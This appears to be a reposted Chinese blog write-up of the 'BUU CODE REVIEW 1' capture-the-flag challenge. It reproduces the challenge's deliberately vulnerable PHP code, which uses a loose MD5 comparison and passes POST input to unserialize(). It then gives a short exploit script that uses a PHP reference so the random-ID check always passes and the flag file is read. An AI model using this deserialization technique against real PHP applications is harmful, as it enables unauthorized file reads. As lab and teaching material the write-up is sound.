zoukankan      html  css  js  c++  java
  • BUU CODE REVIEW 1

    0x01 题目分析

     1 <?php
     2 /**
     3  * Created by PhpStorm.
     4  * User: jinzhao
     5  * Date: 2019/10/6
     6  * Time: 8:04 PM
     7  */
     8 
     9 highlight_file(__FILE__); //高亮显示当前页面源代码
    10 
    11 class BUU {
    12    public $correct = "";
    13    public $input = "";
    14 
    15    public function __destruct() {   //析构方法 
    16        try {
    17            $this->correct = base64_encode(uniqid());   //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID
    18            if($this->correct === $this->input) {
    19                echo file_get_contents("/flag");
    20            }
    21        } catch (Exception $e) {
    22        }
    23    }
    24 }
    25 
    26 if($_GET['pleaseget'] === '1') {
    27     if($_POST['pleasepost'] === '2') {
    28         if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
    29             unserialize($_POST['obj']);
    30         }
    31     }
    32 }

    PHP析构方法:http://c.biancheng.net/view/7504.html

    PHPuniqid()函数:https://www.w3school.com.cn/php/func_misc_uniqid.asp

    MD5相等但值不相等:https://blog.csdn.net/qq_45320164/article/details/115377084

    0x02 重点分析

    前面的条件满足时都不是很难,最重要的是最后的反序列化问题。

    因为使用uniqid()函数得出的值是以微秒为单位来进行变化的,所以使用普通的方法很难实现(除非你的手速快过微秒,O(∩_∩)O哈哈~)。

    通过序列化构造方法:

     1 <?php
     2 class BUU {
     3     public $correct = "";
     4     public $input = "";
     5 
     6     public function __destruct() {
     7         try {
     8             $this->correct = base64_encode(uniqid());
     9             if($this->correct === $this->input) {
    10                 echo file_get_contents("/flag");
    11             }
    12         } catch (Exception $e) {
    13         }
    14     }
    15 }
    16 $a = new BUU();
    17 $a->input=&$a->correct;
    18 echo serialize($a);

    因为$a->correct的值是随时变化的,所以要在前面添加一个&符号,表引用。

    PHP中引用符号(&)的使用介绍:https://blog.csdn.net/bigbigcao/article/details/82393289

    0x03 结尾

    最后将对象$a的值赋值到obj中得到flag

  • 相关阅读:
    MATLAB getframe
    matlab 中 hold on 和hold off的使用
    在MATLAB中得到系统当前日期、时间的函数
    Matlab 中常用的直线与点形表示属性
    matlab中的unique函数详解
    栈的整体作用
    文件句柄、文件描述符与进程和多线程的那些事
    IP头、TCP头、UDP头详解以及定义
    计算机是如何启动的?
    uCOS-II 任务调度机制
  • 原文地址:https://www.cnblogs.com/nmlwh/p/14724233.html
Copyright © 2011-2022 走看看